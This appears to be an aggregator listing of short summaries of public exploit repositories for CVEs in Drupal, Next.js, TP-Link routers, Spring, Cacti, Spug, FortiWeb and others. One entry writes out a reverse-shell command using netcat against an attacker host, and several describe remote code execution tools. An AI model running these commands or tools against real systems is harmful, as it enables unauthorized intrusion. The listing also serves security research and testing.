Drupal-Exploit-Lab

Drupal-Exploit-Lab 演示在存在漏洞的Drupal 7.57（CVE-2018-7600）上，有无WAF（Web应用防火墙）情况下的利用过程 描述 本项目展示了在两种不同场景下对Drupal 7.57进行利用的方式： 1. 未受保护的服务器 → 通过Metasploit成功利用并获取Meterpreter shell。 2. 受保护的服务器 → 相同存在漏洞的版本，但应用了保护措施（ModSecurity + OWASP CRS）→ 利用失败。 技术与工具 操作系统： Ubuntu Server 16.04（未受保护）、Ubuntu Server...

CVE-2025-55182

CVE-2025-55182 Next.js RCE Exploit Tool 🚀 This is an automated Proof-of-Concept PoC tool for the Next.js React Server Components CVE-2025-55182 Remote Code Execution RCE vulnerability. The tool integrates an interactive Shell , intelligent protocol detection , and multi-threaded batch scanning...

TP-L-NK-SIZMA-EXPLO-T

TP-LiNK-SIZMA-EXPLOiT TP-Link Router Authenticated RCE Exploit CVE-2022-30074 This tool performs authenticated remote code execution using the CVE-2022-30075 vulnerability found in TP-Link Archer AX50 and some other TP-Link router models. TP-Link Router Authenticated RCE Exploit CVE-2022-30075 Th...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function Vulnerability CVE-2022-22963 RCE This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function =3.1.6 for 3.1.x and =3.2.2 for 3.2.x Combination of multiple POCs online Author: Randall Banner Date: 17/04/23 Description: Scri...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV Series PoC & Exploit ⚠ WARNING: For authorized testing only. Do not use against systems you do not own or have written permission to test. This is a Proof of Concept for authorized testing only. What this is Small repository with: CiscoPoc.py — harmless PoC to check for...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 Authenticated RCE PoC This repository contains a proof‑of‑concept exploit for CVE‑2025‑24367 , an authenticated remote code execution vulnerability in Cacti. The issue abuses insufficient input sanitization in graph template handling. By injecting malicious content into the...

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2025-49132

CVE-2025-49132-POC I made this poc for my personal challenge inspired by 0xtensho Made for cleaner output and only for reverse shell Usage: root@kitploit: Change the host and the listener variable first python3 CVE-2025-49132POC.py Disclaimer LEGAL DISCLAIMER: This Proof of Concept PoC is for...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Safe and unsafe vulnerability/verify check: will only use 'unsafe check' if not verified with 'safe check' $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot Unsafe...

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function (located in the monitor app). The root cause is that user-supplied monitor addresses are interpolated directly into shell commands without validation , allowing authenticated users with monitor permission...

CVE-2026-90770 Spug through 3.4.0 Remote Code Execution via ping_check

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

EUVD-2026-76991

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2020-15778

CVE-2020-15778 Introduction This repo reproduces CVE-2020-15778. Steps 1. Build the docker images for scp server and client root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. Spin up the scp server in container. root@kitploit: docker run...

distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: root@kitploit: nc -lvnp 4466 Running the exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

nfsen-exploit

nfsen-exploit Exploit for CVE-2017-6971 remote command execution in nfsen 1.3.7. Tested on Ubuntu, probably works on everything Vulnerability discovered by Paul Taylor/Foregenix Ltd Usage: python exploit.py This generates a root-level shell on the remote machine...

samba-trans2open-exploit-report

Samba Trans2Open Exploit Report This repository contains a full technical walkthrough of exploiting the Samba Trans2Open vulnerability CVE-2003-0201 on a virtual Linux environment. The exploitation was done for educational and ethical hacking training purposes. Report Contents Network and service...

CVE-2025-56383

Vulnerability root@kitploit: Attack Type: DLL Hijacking DLL Hijacking Target Application: Notepad++ Method: The NppExport.dll file is loaded by Notepad++ from the working directory Implementation The malicious DLL contains: root@kitploit: Exported functions of the original library to ensure...

paint2die

Simplest and most reliable RichFaces Paint2DResource CVE-2018-12533 RF-14310 exploit Installation • Usage • Running Paint2Die Installation Instructions root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Usage...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki Unauthenticated RCE Exploit Affected XWiki Versions Versions 15.10.11 Versions 16.4.1 Versions 16.5.0RC1 Vulnerability Description Affected XWiki versions contain a Remote Code Execution vulnerability caused by unsafe Groovy expression handling in the SolrSearch macro...

CVE-2025-25257

CVE-2025-25257 Exploits for CVE-2025-25257 released by watchtowr and others I found on github did not work on my installations of fortiweb downloaded from the official vendor website. I ripped some of these exploit codes to make a poc capable to pop a reverse shell on my environment. IP address a...